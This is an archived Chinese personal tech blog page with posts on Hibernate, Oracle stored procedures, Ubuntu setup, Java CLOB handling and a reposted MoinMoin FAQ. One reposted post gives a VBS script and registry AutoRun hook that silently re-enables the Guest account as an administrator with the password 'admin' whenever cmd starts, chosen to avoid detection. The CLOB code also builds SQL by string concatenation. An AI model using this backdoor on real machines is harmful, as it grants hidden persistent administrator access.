关于作者

用户名:kevinz26
笔名:kevin
地区: 北京-中科院
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



My Brothers

Music

访问统计:
文章个数:66
评论个数:24
留言条数:10




Powered by BlogDriver 2.1

Brood

 

文章

今天配hibernate的2个小问题

1. hibernate.cfg.xml Not Found

这个问题需要注意的就是hibernate.cfg.xml的位置,一般放在src目录下,不要放在src\XXX下

而entityBean.hbm.xml要与映射的class:entityBean.class放在一起。

比如:

src下存放源文件:org.example.entityBean;

那么src目录下放hibernate.cfg.xml ;

src\org\example下放entityBean.hbm.xml;

2. Can't start a cloned connection while in manual transaction mode

sql server:默认的是direct模式下,需要将模式改为cursor

所以在hibernate.cfg.xml里面更改 connection string:

jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=loushang_test;SelectMethod=Cursor

加上这个就ok了。

还有几点记下备忘:

1 . 在spring中使用transationtemplate时的配置:记得在构建路径里面加上hibernate的库.我的问题是

用hibernate3.jar不行,用hibernate2.jar就可以.注意版本.一般最好将库同时拷进lib文件夹中.

2.  在数据库中定义的字段比如flag , char 5.那么用getTransactionTemplate.load(XX.class,"1");//比如1是flag所在表的主键值.那么在对象XX.getFlag()得到的string的长度是固定的5.

情况:后来将char 5 改成 varchar 50. 得到的长度还是 5...不知为什么.缓存的原因?

- 作者: kevin 2007年07月5日, 星期四 20:43  回复(0) |  引用(0) 加入博采

oracle 存储过程的基本语法及注意问题(ZZ)
1.基本结构
CREATE OR REPLACE PROCEDURE 存储过程名字
(
    参数1 IN NUMBER,
    参数2 IN NUMBER
) IS
变量1 INTEGER :=0;
变量2 DATE;
BEGIN

END 存储过程名字

2.SELECT INTO STATEMENT
  将select查询的结果存入到变量中,可以同时将多个列存储多个变量中,必须有一条
  记录,否则抛出异常(如果没有记录抛出NO_DATA_FOUND)
  例子:
  BEGIN
  SELECT col1,col2 into 变量1,变量2 FROM typestruct where xxx;
  EXCEPTION
  WHEN NO_DATA_FOUND THEN
      xxxx;
  END;
  ...

3.IF 判断
  IF V_TEST=1 THEN
    BEGIN
       do something
    END;
  END IF;

4.while 循环
  WHILE V_TEST=1 LOOP
  BEGIN
 XXXX
  END;
  END LOOP;

5.变量赋值
  V_TEST := 123;

6.用for in 使用cursor

  ...
  IS
  CURSOR cur IS SELECT * FROM xxx;
  BEGIN
 FOR cur_result in cur LOOP
  BEGIN
   V_SUM :=cur_result.列名1+cur_result.列名2
  END;
 END LOOP;
  END;

7.带参数的cursor
  CURSOR C_USER(C_ID NUMBER) IS SELECT NAME FROM USER WHERE TYPEID=C_ID;
  OPEN C_USER(变量值);
  LOOP
 FETCH C_USER INTO V_NAME;
 EXIT FETCH C_USER%NOTFOUND;
    do something
  END LOOP;
  CLOSE C_USER;

8.用pl/sql developer debug
  连接数据库后建立一个Test WINDOW
  在窗口输入调用SP的代码,F9开始debug,CTRL+N单步调试

关于oracle存储过程的若干问题备忘

1.在oracle中,数据表别名不能加as,如:
select a.appname from appinfo a;-- 正确
select a.appname from appinfo as a;-- 错误
 也许,是怕和oracle中的存储过程中的关键字as冲突的问题吧
2.在存储过程中,select某一字段时,后面必须紧跟into,如果select整个记录,利用游标的话就另当别论了。
  select af.keynode into kn from APPFOUNDATION af where af.appid=aid and af.foundationid=fid;-- 有into,正确编译
  select af.keynode from APPFOUNDATION af where af.appid=aid and af.foundationid=fid;-- 没有into,编译报错,提示:Compilation 
  Error: PLS-00428: an INTO clause is expected in this SELECT statement

3.在利用select...into...语法时,必须先确保数据库中有该条记录,否则会报出"no data found"异常。
   可以在该语法之前,先利用select count(*) from 查看数据库中是否存在该记录,如果存在,再利用select...into...
4.在存储过程中,别名不能和字段名称相同,否则虽然编译可以通过,但在运行阶段会报错
 select keynode into kn from APPFOUNDATION where appid=aid and foundationid=fid;-- 正确运行
select af.keynode into kn from APPFOUNDATION af where af.appid=appid and af.foundationid=foundationid;-- 运行阶段报错,提示
ORA-01422:exact fetch returns more than requested number of rows
5.在存储过程中,关于出现null的问题
假设有一个表A,定义如下:
create table A(
id 
varchar2(50primary key not null,
vcount 
number(8not null,
bid 
varchar2(50not null -- 外键 
);
如果在存储过程中,使用如下语句:
select sum(vcount) into fcount from A where bid='xxxxxx';
如果A表中不存在bid="xxxxxx"的记录,则fcount=null(即使fcount定义时设置了默认值,如:fcount number(8):=0依然无效,fcount还是会变成null),这样以后使用fcount时就可能有问题,所以在这里最好先判断一下:
if fcount is null then
    fcount:
=0;
end 
if;
这样就一切ok了。
6.Hibernate调用oracle存储过程
        this.pnumberManager.getHibernateTemplate().execute(
                
new HibernateCallback() {
                    
public Object doInHibernate(Session session)
               &nbp;            
throws HibernateException, SQLException {
                        CallableStatement cs 
= session
                                .connection()
                                .prepareCall(
"{call modifyapppnumber_remain(?)}");
                        cs.setString(
1, foundationid);
                        cs.execute();
                        
return null;
                    }

                }
);

- 作者: kevin 2007年07月5日, 星期四 11:56  回复(0) |  引用(0) 加入博采

在ubuntu下禁用synaptics
使用qsynaptics
1.install

sudo apt-get install qsynaptics

2.修改.conf

sudo gedit /etc/X11/xorg.conf


Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ExplorerPS/2"
Option "ZAxisMapping" "4 5"
Option "Emulate3Buttons" "true"
EndSection

之后添加如下内容:

Section "InputDevice"
Identifier "Synaptics Touchpad"
Driver "synaptics"
Option "SendCoreEvents" "true"
Option "Device" "/dev/psaux"
Option "Protocol" "auto-dev"
Option "HorizScrollDelta" "0"
Option "SHMConfig" "on"
EndSection

接下来,向下寻找如下内容:

Section "ServerLayout"
  Identifier "Default Layout"
  Screen "Default Screen"
  InputDevice "Generic Keyboard"
  InputDevice "Configured Mouse"
  InputDevice "stylus" "SendCoreEvents"
  InputDevice "cursor" "SendCoreEvents"
  InputDevice "eraser" "SendCoreEvents"
 EndSecion

在"Configured Mouse"之后添加:

InputDevice "Synaptics Touchpad"

3. 重启x,ctrl+alt+backspace
4.在terminal 里面输入 qsynaptics 进行设置。
5. over.

- 作者: kevin 2007年05月30日, 星期三 15:24  回复(0) |  引用(0) 加入博采

ubuntu之旅
前段时间突发奇想想装ubuntu了,二话不说,赶紧让david从网上了down了一个7.04的。貌似已经支持3d workspaces了。
刻盘之后,安装,一切正常。
进去之后,发现字体有拉伸,哦,restricted drivers有提示,由于俺本本是nvidia 7300的,还得自己去装驱动。并设置宽屏。
网上搜到一位大牛的文章,呵呵,居然同是cas的哥们。
哦,对了,装驱动之前最好更新一下。首先拿source list开刀吧。删了,自己添加一下一些源。从网上搜的。
1>sudo gedit /etc/apt/sources.list
deb http://ubuntu.cn99.com/ubuntu/ feisty main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ feisty-security main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ feisty-updates main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ feisty-proposed main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ feisty-backports main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ feisty main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ feisty-security main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ feisty-updates main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ feisty-proposed main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ feisty-backports main restricted universe multiverse


deb http://mirror.lupaworld.com/ubuntu feisty main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu feisty-security main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu feisty-updates main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu feisty-backports main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu feisty main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu feisty-security main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu feisty-updates main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu feisty-backports main restricted universe multiverse
添加完了,更新吧
sudo apt-get update
sudo apt-get dist-upgrade


2>装nvidia的驱动
1. 到http://www.nvidia.com/ 下载驱动
2. 删除原来的驱动(如果你装过驱动)
sudo apt-get --purge remove nvidia-glx
3. 备份当前的显示设置,这样可以在驱动安装失败时恢复到原来的设置
sudo cp /etc/X11/xorg.conf.backup /etc/X11/xorg.conf
4. 安装驱动程序编译环境
sudo apt-get install build-essential linux-headers-`uname -r`
5. 禁止系统使用默认的驱动
sudo gedit /etc/default/linux-restricted-modules-common
在最后的双引号中添加nv,即“”改成“nv”
6. 按Ctrl+Alt+F1,登录,停止gdm
sudo /etc/init.d/gdm stop
7. 进入下载的驱动安装文件 nvidia-linux-x86-1.0-9631-pkg1.run所在目录(请确定xorg-dev软件包已经安装,编译过程中可能会用到)
sudo sh nvidia-linux-x86-*.run
如果提示缺少某某模块(modules),询问是否上网下载,选no;
8. 安装完成后,启动gdm
sudo /etc/init.d/gdm start

此时,就会看到NVIDIA的LOGO了,驱动安装成功。

对宽屏来说,此时可能需要改变分辨率,在UBUNTU中,选择菜单“应用程序”─“系统工具”─“NVIDIA X Server Settings”,进入便可以改变分辨率;
同时要修改/etc/X11/xorg.conf文件,把里面的1024x768都修改为你选择的分辨率:
sudo gedit /etc/X11/xorg.conf
打开修改就可以了。
在这两处都修改才能保证每次重新启动后分辨率不会改回到原来的1024x768.

3>桌面效果,美化一下
对于ubuntu自带的desktop effects有很多bug,这里就不多说了,反正不怎么好用。等以后完善了再用也不迟,这里我想说的是用Beryl。安装如下:
1.一次全部选中以下text,然后在terminal中点鼠标中键
sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf.backup.beryl-script
sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup.beryl-script
echo "deb http://ubuntu.beryl-project.org feisty main
deb-src http://ubuntu.beryl-project.org feisty main" | sudo tee -a /etc/apt/sources.list
wget http://ubuntu.beryl-project.org/root@lupine.me.uk.gpg -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get -y install beryl beryl-manager emerald-themes
sudo nvidia-xconfig --add-argb-glx-visuals
sudo cp /usr/share/applications/beryl-manager.desktop /etc/xdg/autostart/beryl-manager.desktop
cp /usr/share/applications/beryl-manager.desktop ~/Desktop/beryl-manager.desktop
echo -e "Logout now and then press \e[0;31mCTRL+ALT+BACKSPACE\e[0m to restart xorg"
echo "Installation completed !"
2.logout按ctrl+alt+backspace重启xorg
3.打开一个terminal 输入 "beryl-manager"以安装这个东东
4.重启就爽翻了

4>安装mplayer与解码器,设置中文字幕(zz from debian.kanxue.net)
        sudo apt-get install mplayer mozilla-mplayer totem-xine libxine-extracodecs
        sudo apt-get install gstreamer0.10-*
        wget -c http://www.debian-multimedia.org/pool/main/w/w32codecs/w32codecs_20061022-0.0_i386.deb
        sudo dpkg -i
w32codecs_20061022-0.0_i386.deb

       如果运行mplayer播放电影的时候出现以下字样而不能正常运行的时候

open: No such file or directory
[MGA] Couldn't open: /dev/mga_vid
Error opening/initializing the selected video_out (-vo) device.

 
       首先运行gmplayer,
然后在preference-video里选择xv X11/Xv就可以正常播放了。

        中文字幕设置方法:
            1) 在 Preferences-Font 里面点击 ”Browse” 选择一个中文字体,如:
                    /usr/share/fonts/truetype/arphic/uming.ttf
                Encodeing 选择 Unicode。
            2) 在 Preferences-Subtitle&OSD 里面的 Encoding 选择:
               Simplified Chinese Charset(cp936)
            3) 把 Preferences-Font 中的“Text scale”调整为3.8,默认字幕太大了。

5.安装配置vim
       1、安装vim
            sudo apt-get install vim
       2、配置文件
           在用户家目录下建立.vimrc文件
               cd; gedit .vimrc
          写入以下内容:
set nocompatible
set hlsearch

if !exists("syntax_on")
syntax on
endif

"设置tab字符个数
set tabstop=4
set shiftwidth=4
"自动缩进
set autoindent
"更方便的退格键
set backspace=2

"自动检测文件类型
filetype on

"配色文件
colorscheme desert

"字体
if (has("gui_running"))
set guifont=Bitstream\ Vera\ Sans\ Mono\ 10
endif

"----------------below for txt file
"让文本文件也有高亮,thanks to xbeta@smth
augroup filetypedetect
au BufNewFile,BufRead *.* setf ztxt
augroup END

"缓冲区写入文件的时候自动检查文件类型
au BufWritePost * filet detect

"设定文件编码类型,彻底解决中文编码问题
let &termencoding=&encoding
set fileencodings=utf-8,gbk,ucs-bom,cp936

- 作者: kevin 2007年05月30日, 星期三 13:29  回复(0) |  引用(0) 加入博采

已锁定
此日志的浏览权限已被作者锁定,请同作者联系,发送短消息,如果你的身份符合作者的要求,点击此处可以进行浏览

- 作者: kevin 2007年05月27日, 星期日 19:06  回复(0) |  引用(0) 加入博采

clob转string in java

前段时间做信息发布系统的时候,遇到了clob转string 的问题,在网上搜到一个解决办法。贴在下面

/**
     *
     *读数据库中clob字段的内容
     *@return        clob字段值
     *
     * */
    public String read(){
        String rtn = null;
        PreparedStatement pstmt=null;
        ResultSet rs=null;
        try {
            String sql = "select " + fieldName + " from " + tableName + " where " + primaryKey + "=" + primaryValue;
            pstmt = conn.prepareStatement(sql);
         &bsp;  rs = pstmt.executeQuery();

            java.sql.Clob clob = null;
            if (rs.next()) {
                clob = rs.getClob(fieldName);
//                InputStream input = clob.getAsciiStream();
//                int len = (int)clob.length();
//                byte[] by = new byte[len];
//                int i ;
//                while(-1 != (i = input.read(by, 0, by.length))) {
//                    input.read(by, 0, i);
//                }
//                rtn = new String(by);
                rtn=clob.getSubString((long)1,(int)clob.length());
            }
        }catch (Exception ee) {
            ee.printStackTrace();
            rtn="";
        }finally{
            try {
                rs.close();
                rs=null;
                pstmt.close();
                pstmt=null;
            } catch (SQLException ex) {
            }
        }

        return rtn;
    }

    /**
     *
     *写数据库中clob字段的内容
     *
     * */
    public String write(){
        String sql = "update " + tableName + " set " + fieldName + "=empty_clob() where " + primaryKey + "=" + primaryValue;
        PreparedStatement pstmt=null;
        Statement st=null;
        ResultSet rs=null;
        try{
            conn.setAutoCommit(false);

            pstmt = conn.prepareStatement(sql);
            pstmt.executeUpdate();

            sql = "select " + fieldName + " from " + tableName + " where " + primaryKey + "=" + primaryValue;
            st = conn.createStatement();
            rs = st.executeQuery(sql);

            java.sql.Clob clob;
            if (rs.next()) {
                clob = ((oracle.jdbc.OracleResultSet) rs).getClob(fieldName);
                oracle.sql.CLOB my_clob = (oracle.sql.CLOB) clob;
//            OutputStream writer = my_clob.getAsciiOutputStream();
//            byte[] contentStr = this.getContent().getBytes();
//            writer.write(contentStr);
                java.io.Writer writer = my_clob.getCharacterOutputStream();
                writer.write(this.getContent());
                writer.flush();
                writer.close();
            }
            //conn.rollback(); //事务处理机制
            conn.commit();
            conn.setAutoCommit(true);
        }catch(Exception e){
            e.printStackTrace();
        }finally{
            try{
                rs.close();
                rs = null;
                st.close();
                st = null;
                pstmt.close();
                pstmt = null;
            }catch(Exception xxx){
            }
        }
        return Constant.PROCESS_OK;
    }

    private String getContent() {
        return this.clobValue;
    }

    public void setClobValue(String clobValue) {
        this.clobValue = clobValue;
    }

- 作者: kevin 2007年05月21日, 星期一 20:04  回复(0) |  引用(0) 加入博采

bleak....

这里杂草丛生....

快成haunted place了``

51跑到沙漠玩了一圈, 差点步彭加木的后尘,幸亏水带够了,否则就要成干尸了

今天在taobao买的书到了,嗯,该收心好好把这本书攻克下来``

为下半年的面试打基础. 抓紧学习,hold on~

- 作者: kevin 2007年05月5日, 星期六 20:03  回复(0) |  引用(0) 加入博采

从一个笑话看软件开发管理 (ZZ FROM 猛禽)

关于软件开发的笑话有很多,下面这个是我刚在QQ群里的看到的:

1. 程序员写出自认为没有Bug的代码。
2. 软件测试,发现了20个Bug。
3. 程序员修改了10个Bug,并告诉测试组另外10个不是Bug。
4. 测试组发现其中5个改动根本无法工作,同时又发现了15个新Bug。
5. 重复3次步骤3和步骤4。
6. 鉴于市场方面的压力,为了配合当初制定的过分乐观的发布时间表,产品终于上市了。
7. 用户发现了137个新Bug。
8. 已经领了项目奖金的程序员不知跑到哪里去了。
9. 新组建的项目组修正了差不多全部137个Bug,但又发现了456个新Bug。
10. 最初那个程序员从斐济给饱受拖欠工资之苦的测试组寄来了一张明信片。整个测试组集体辞职。
11. 公司被竞争对手恶意收购。收购时,软件的最终版本包含783个Bug。
12. 新CEO走马上任。公司雇了一名新程序员重写该软件。
13. 程序员写出自认为没有Bug的代码。

要我说,如果真有这样的公司,不倒闭对不起人民。

这个笑话从程序员开始,到程序员结束,从头到尾都在说程序员的不是。但是我要说的是,这完全是管理者的失败,从整个过程中,看不到任何管理工作。这种管理者不但无知无能,还很无耻——将自己的失败责任推给程序员。

1、程序员凭什么证明他的代码没有BUG?有Test case吗?有Code review吗?这个环节管理缺失。

2、测试发现BUG有进行BUG管理吗?有跟踪吗?这个环节管理缺失。

3、凭什么证明程序员已经把那10个BUG修改好了?另10个又为什么不是BUG?BUG的评价标准难道是程序员说了算?这个环节管理缺失。

4、5个不能工作的BUG修改问题有没有追究责任?增加新BUG是修改过程中不可避免的事情,但是如果有有效的单元测试机制,可以大大减少这种情况。这个环节管理缺失。

5、迭代是正常的,但是问题处理于发散而不是收敛发展,可见没有有效的管理调控。这个环节管理缺失。

6、过于乐观的时间表和不可能达到的最后期限,都表现出管理者的无知和无能。而在这样的情况下强行推出产品,那就是无知者无畏了。

7、这是对用户的不负责任,管理者要负最大的责任。

8、这样的情况还能发项目奖金,只能说管理者不是一般的愚蠢。

9、管理工作没有任何的改进,问题仍然处于发散迭代状态。管理工作依然没有到位。

10、拖欠测试部门工资体现出管理者对质量管理工作的忽视以及对人力资源管理方面一无所知。

11、送被收购者两个字:活该。送收购者两个字:瞎眼。

12、可见新管理者与原管理者半斤八两,都没有认识到问题的根本所在。不过也只有这样的管理者才会作出收购这种公司的决策。

13、历史的重演是必然的。

一个正常的企业或是项目,其运作必须应该是循环向上进行的。而保障这种运行的工作就是管理。而管理工作的主要内容就是控制,包括控制循环的节奏——不能太快也不能太慢,控制发展的方向——只能向上不能向下,控制运作的稳定——不能大起大落或时聚时散等。

而这一切,在这个例子中都看不到。

在 这个笑话的例子中,一切都是以开发工作在驱动,这首先就是一个方向性错误,产品是为用户服务的,当然应该是以用户和市场作为驱动,并且结合自身的能力最终 确定工作的重点。这一错误折射出管理者对被管理的内容很不了解,只好任由比较了解的程序员摆布——事实上他们除了技术,并不会了解更多。

一个管理者如果对自己所管理的内容不了解,他就不可能管理得好

这是一件毫无疑问的事,可是国内的软件业似乎总是不相信这一点。中国软件业中流毒最深的谎言之一就是:

管理者只要懂管理就可以,不需要懂技术。

其实这不过是那些无知无能无耻的管理者为了骗钱而编出来的,相信这句话的人必将付出金钱的代价。

其 次是质量管理。基本的质量管理常识告诉我们,每次循环结束前,最重的工作就是总结改进。只有这样才能保证循环运作是向上发展,而不是失去控制地向下发展。 也只有有效的质量管理,才能保证迭代过程是收敛发展,并最终达到目标。但在这个例子中,这个部分显然是缺失的——其中虽然有测试部门,但是他们的作用仅仅 是质量管理中的质量检测环节,管理部分还是缺失的。

然后是人力资源管理。软件开发是一项劳动密集型的工作,虽然这是脑力劳动,但同样意味着人在因素在其中占有决定性的地位。而例子中未改完BUG的程 序员拿到项目奖金,而同样辛苦工作的测试人员却被拖欠薪资,除了表现出管理者对他们的工作内容的不了解,以及对质量管理工作的不重视以外,还表现出管理者 完全不会管人,这是一种谋杀团队的行为——谋杀一个团队远比建设要容易得多。

最后,这个失败的管理者把他的经历编成这个笑话,让大家看到他被程序员们害得多惨,把程序员妖魔化为一群骗子。但只要稍懂管理的人简单分析一下就可以看出来,只不过是这个人的无知和无能造成了他现在的结果,而把责任推给别人的行为更是表现出他的无耻。

作为身居高位的管理者,如果连应该承担的责任都要推卸,他们还能胜任什么事情呢?

- 作者: kevin 2006年05月21日, 星期日 15:20  回复(3) |  引用(0) 加入博采

不死帐号的制作 (ZZ)

不死帐号的制作
先建立一个VBS文件内容如下:

dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest admin",0
wsh.run "net localgroup administrators guest /add",0

上面一段VBS的意思就是激活GUEST帐号,并且加为高级管理组,设置密码为admin

那为什么不用那个BAT,继续往下看变知,再找到注册表中下面的键:


HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
/
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

AutoRun键内输入VBS的路径!如:d:/ao/fj126.net/id.vbs
先看看这两个位置的介绍:

如果 /D 未在命令行上被指定,当 CMD.EXE 运行时,它会自动寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在,这两个变量会先予执行。
也就是说,只要启动了CMD就会运行上述的脚本,可以说成是CMD关联吧。
接着进入注册表,找到上面的位置
OK
了,我们来实验一下
我们再打开CMD开一下
怎么样,又激活了吧,如果不用VBS而改用BAT会出现什么后果呢?
如果用dat的话,打开cmd的时候,会弹出提示框问:是否打开id.dat。这样也就暴露了~

所以不能用dat

知道为什么不用BAT了吧,完

- 作者: kevin 2006年05月19日, 星期五 12:41  回复(0) |  引用(0) 加入博采

moinmoin(ZZ)

"维基是什么"

''维基''是什么?

维基(Wiki)这个词是WikiWikiWeb的缩写。维基是一组页面的集合,可以通过网络浏览器进行合作编辑。任何人都可以按照他们的意愿开放和自由的进行编辑。系统自动创建各页面之间的交叉引用超链接。更多信息请看WikiWikiWeb

MoinMoin是用python编写的维基程序。

它有什么用途?

不论你如何使用它,它都有用处。与论坛和邮件列表相比,维基允许创建内容。维基具有更少的干扰和更多的信息。信息是结构化的,而且容易寻找。你可以在因特网上建立一个具有很多页面的维基,包括各种项目,构架,观点,等等,供人们评论。一些页面仅仅用于传递信息。其他页面则是用于讨论和评论。你也可以建立极其简单的技巧数据库类型的维基。

总之,维基是一种非常自由的工具,它的价值在于用户使用它的方法。例如,维基中的页面同样可以用于讨论。你也可以在项目中使用维集页面进行合作分工。

请看MoinMoinSuccessStories, 那里有更多的成功案例。

维基的主要特点是什么?

这有一些维基最重要的特点:

  • 任何人都可以编辑 - 任何人都可以通过网络浏览器编辑维基页面
  • 可以查看最新的改动
  • 可以搜索页面 (多种方式)
  • 可以很容易的增加新的页面
  • 可以看到一个文档的更改历史
  • 可以增加新的信息,或者修改已存在的信息

维基安全性怎么样? 维基不会被捣乱分子弄得乱七八糟吗?

这是一个很重要的问题。一般来说,维基是没有安全性的。(That's right!)

对于MoinMoin,自从引入Access Control Lists机制之后,这一点已经有所变化,请看帮助-访问权限控制表

但是,假如你没有使用ACLS,那么意外或有意的破坏当前页面修订版的可能是存在的。

使维基失去价值的方式主要有两种。 一种是删除,另一种是破坏。对于删除行为不太困难,因为每一个页面都有更改记录(和相应的备份),可以很容易的恢复。因此,当检查到页面被删除或者主要内容被删除时,页面可以很容易的从它们之前某个优良的状态恢复回来。

有意的破坏比较难以处理。有人可能在页面内输入不正确的信息,或者有意将页面中的信息更改成错误的(比如,有人改变页面,使它看起来像是另外一个人写下特别的评论,或者有人改变某一段的内容,使它的含义有了很大的不同)。任何协作系统都存在这样的问题。实际上,破坏维基的事情极少发生,而且新材料提交的同时可以向某个特定的人发出提醒,这样就可以进行处理了。

换句话说,维基的哲学是人工处理(也就是SoftSecurity)罕见的破坏事件,而不是设计并过度使用那些防止某个破坏者的破坏活动的功能。

关于MoinMoin的一般问题

既然MediaWiki很有名并且是用PHP开发的,为什么要选择MoinMoin呢?

  • 因为MoinMoin是用Python写的 (可能这个理由并不太充分,但最终还是归结到这一点)。

  • MoinMoin支持访问选择控制列表

  • MoinMoin容易扩展

  • "MediaWiki主要用于Wikipedia和Wikimedia的其他项目 (以及由个人在他们自己的服务器上运行的其他类似的大规模站点), 其次人们运行当地的实例用于处理来自我们站点的数据, 及其其他一些附带的使用." Brion Vibber, Media`Wiki开发者

使用MediaWiki或者MoinMoin的优点和缺点?

请看 WikiEngineComparison.

本维基的使用问题

在维基中查找和获取信息

如何搜索维基?

现在有几种方法来搜索和/或浏览维基:

  • 使用搜索框或者查找网页 FindPage,在那里你可以通过标题中的关键词,全文,一般文字或者通配符(正则表达式)来搜索。

  • 点击标题索引。它会按照字母排序显示所有页面的标题类标。

  • 点击词汇索引。它会按照字母排序显示每一个标题中的每一个单词的列表 (比如,页面BlueTooth列出来的结果是 B / Blue 以及 T / Tooth)。

  • 使用 LikePages 操作。它会显示那些标题单词与当前页面标题单词类似的页面。

  • 点击页面最顶端的页面标题。它会显示有哪些页面也当前页面相链接 (这可以帮你找到相关页面)。

如何才能看到维基中最近发生的事情?

点击任何页面上方的最新改动链接。

任何看到更久之前的改动,而不仅仅是默认的改动日期之内?

登录之后,选择90天之前。这够不够?

到处都能看到的这些颜色奇怪的链接是什么?

所有混合大小写的名字,如果没有相应的页面,就会显示为不同颜色的链接。

在维基中编辑

如何在维基中增加内容, 或者更改错误的内容?

如果你看到一些内容后,想对它评论,增加,或者更改,只需要点击 EditText 链接, 或者点击页面顶部的 图标。页面会被带入浏览器的文字编辑框中,你只需进行更改就可以。维基格式器会对你输入的文字进行处理。如果想要漂亮的结果,你可以完成HTML可以完成的大部分排版。请到帮助-排版页面察看一些提示和例子。

增加信息是否要遵守某些约定?

没有多少约定。它有助于保证特定类型的信息按照一致的方式进行格式化。一个可以帮助保持一致性的重要约定是使用“模板”页面。

本维基有一个称为“模板”的功能,当你创建新页面时会显示出来。如果你点击其中一个,那么这个页面将具有于其他相同类型页面类似的结构。例如,创建自己的维基主页时,你应该使用HomepageTemplate页面(当创建新页面时你能看到它)。

如何在维基中增加非文字信息?

如果内容已经存在于某个网站上,那么那需在维基页面上增加一个链接。按照下面的步骤来做:

  • 获得文档的URL,
  • 编辑维基页面 (前往维基页面,点击编辑链接),

  • 在适当的地方输入URL,
  • 保存。

维基会从你输入的文字自动生成超链接。

你可以在方括号中为链接增加修饰文字,这样可以使链接看起来更漂亮。 修饰文字会显示在页面上,但是链接指向输入的URL。这有一个例子:

  [http://your.domain.example/foo.html This will be the link text]

生成:

This will be the link text

如何避免使用[[BR]],而使用正常的新行字符?

使用 { { { 和 } } } 包住你的预格式化的文字,形成与格式化的段落。

如何在页面上增加图像?

你可以在页面上增加图像的链接。例子:

http://c2.com/sig/inter/wikibase.gif

生成:

wikibase

如何创建新的模板页面?

当你创建空白页面时,所有模板会自动以列表形式显示出来。任何标题以"Template"结尾的页面(请看page_template_regex)都会自动在列表中显示。因此,如果你希望某一类网页具有类似的格式(类似的标题,组织等),你可以定义一个名字以Template结尾的页面(这就是模板了),当创建那一个类型的页面时,选择这个模板,再编辑就可以。维基会把自动填充初始的内容。模板和其他页面一样都是可以编辑的维基页面。

要创建一个模板,只需创建名字为 <something>Template 的页面即可。

添加局域网上的文档

如果MoinMoin运行在局域网上,那么给局域网内的共享文档添加一个链接有时会就很有必要,例如:

[file://///servername/sharename/full/path/to/file/filename.txt Click here to read filename.txt]

你也可以链接到文件名带有空格的文件,需要手工增加空格的URL编码 (%20):

[file://///servername/sharename/full/path/to/file/filename%20with%20spaces.txt Click here to read filename with spaces.txt]

更多相关的重要信息请看FileLinks.

另一个可能更好的方法是使用 AttachFile 操作。

我是否应该为我所做的更改签名?

如果这些更改很重要,或者你希望别人知道是你作的这些更改,那么就签下自己的名字。只需要在你的评论之后加上 @SIG@ 。通常应该把你的评论写在被评论对象的后面,并加上缩进。还有,把你的评论标记成斜体有助于把评论内容与被评论对象分隔开。

但是,有时候悄悄的进行更改才是比较合适的。比如,纠正拼写和格式的错误或者做一些细微的更改,这些都不需要签名。

如果我删除了页面中所有的内容, 会怎么样? 你需要它们吗? 它是不是已经被完全抹掉了?

有必要的话,你可以恢复改动的内容。请看WhyWikiWorks.

添加其他类型文档

可以添加HTML吗?
  • /!\ 只有安装了 不安全的 HTML扩展 (HTML宏和分析插件) 以后,下面的内容才能起作用。

如果你想增加一行HTML,可以使用HTML宏。把你的HTML文字作为参数传给HTML宏, 就象这样:

[[HTML(<font size=+12>This is large font</font>)]]

在页面上会显示: [[HTML(<font size=+12>This is large font</font>)]]

也可以将HTML文档放在一个页面内,只需在这页的第一行加入 #format html 。如果有了这一行,那么整个页面就会被解释成HTML (这样的话,链接到其他页面会变得比较困难!) 确认你增加的内容仅仅包括body部分 (不是 HTML headers 或者其他任何超出body的部分,包括 <BODY> tag本身)。

维基中的链接

如何链接到维基之外的地址?

安装 & 配置

如何使用 "DeletePage" / "RenamePage" 功能?

只有登录之后(通过用户设置),才能删除或者重命名页面。

如何更改起始页面?

在wikiconfig.py中设置 page_front_page = u'OtherFrontPage'。请看帮助-语言

帮助-系统设置包含更多可调整的变量。

管理维基

如何管理维基?

系统信息页面上有很多管理信息,包括网页的数目,以及安装的宏和操作方法。

I usually set up an "AdminPage", where I put macros for these, as well as information about the real physical location of the pages, and macros for orphan pages or other things an adminstrator for the wiki might want to look at.

如何删除用户?

最好的方式是 (1.5.2版以上支持) 作为SuperUser,to switch to the user that should be deleted from UserPreferences, 选择 "Disable this account forever" 然后点击"Save"。

可以从页面的旧版恢复内容吗?

  1. 点击 信息 (或者 "i"图标)。

  2. 点击你希望恢复版本上的 恢复旧版 链接。

你必须登录才能恢复网页。

开发者帮助

从哪里开始进行开发?

如想帮助开发,你可以这样做:

  1. 如果你不了解Python,那么开始学习它吧 BeginnersGuide

  2. MoinDev 上了解MoinMoin的基本信息

从那里开始进行设计或者翻译?

如果你不是编程人员,还是想做点什么,你可以这样做:

MoinMoin诊断

如果你认为自己已经发现了一个错误或者遇到问题,你可以做一些测试。真正的bugs一般会显示出一个错误页面。你可以保存这个页面,到MoinMoinBugs 搜索一下是否有看起来类似的页面,如果没有的话,创建一个新的bug页面,将错误信息附加在上面。

